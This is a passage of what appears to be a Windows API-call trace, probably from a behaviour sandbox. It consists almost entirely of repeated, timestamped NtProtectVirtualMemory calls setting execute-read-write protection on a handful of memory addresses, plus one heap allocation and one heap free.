BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.741] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x932a58 [0244.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.834] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x938a70) returned 1 [0244.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 